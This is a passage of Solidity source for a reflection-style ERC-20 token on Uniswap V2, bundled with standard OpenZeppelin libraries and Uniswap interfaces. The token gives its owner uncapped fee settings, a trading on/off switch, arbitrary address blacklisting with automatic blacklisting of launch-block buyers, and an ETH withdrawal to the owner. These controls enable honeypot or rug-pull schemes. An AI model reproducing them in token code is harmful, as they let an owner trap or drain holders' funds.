Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner { // PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E // Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; } function openTrading() external onlyOwner { _liquidityFee = _previousLiquidityFee; _taxFee = _previousTaxFee; tradingOpen = true; launchTime = block.timestamp; } function toggleTrading() external onlyOwner { tradingOpen = tradingOpen ? false : true; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function isExcludedFromReward(address account) external view returns (bool) { return _isExcluded[account]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) external { address sender = _msgSender(); require( !_isExcluded[sender], 'Excluded addresses cannot call this function' ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, 'Amount must be less than supply'); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], 'Account is already excluded'); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], 'Account is already excluded'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); require(!_isSniper[to], 'You have no power here!'); require(!_isSniper[msg.sender], 'You have no power here!'); // buy if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(tradingOpen, 'Trading not yet enabled.'); //antibot if (block.timestamp == launchTime) { _isSniper[to] = true; _confirmedSnipers.push(to); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) { if (contractTokenBalance > 0) { if ( contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100) ) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div( 100 ); } swapTokens(contractTokenBalance); } } bool takeFee = false; // take fee only on swaps if ( (from == uniswapV2Pair || to == uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) { takeFee = true; } _tokenTransfer(from, to, amount, takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { swapTokensForEth(contractTokenBalance); // Send to Marketing address uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToMarketing(address(this).balance); } } function sendETHToMarketing(uint256 amount) private { // Ignore the boolean return value. If it gets stuck, then retrieve via `emergencyWithdraw`. marketingAddress.call{ value: amount }(''); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues( tAmount ); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if (_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner { _liquidityFee = liquidityFee; } function setMarketingAddress(address _marketingAddress) external onlyOwner { marketingAddress = payable(_marketingAddress); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function isRemovedSniper(address account) external view returns (bool) { return _isSniper[account]; } function _removeSniper(address account) external onlyOwner { require( account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap' ); require(!_isSniper[account], 'Account is already blacklisted'); _isSniper[account] = true; _confirmedSnipers.push(account); } function _amnestySniper(address account) external onlyOwner { require(_isSniper[account], 'Account is not blacklisted'); for (uint256 i = 0; i < _confirmedSnipers.length; i++) { if (_confirmedSnipers[i] == account) { _confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1]; _isSniper[account] = false; _confirmedSnipers.pop(); break; } } } function setFeeRate(uint256 rate) external onlyOwner { _feeRate = rate; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} // Withdraw ETH that gets stuck in contract by accident function emergencyWithdraw() external onlyOwner { payable(owner()).send(address(this).balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
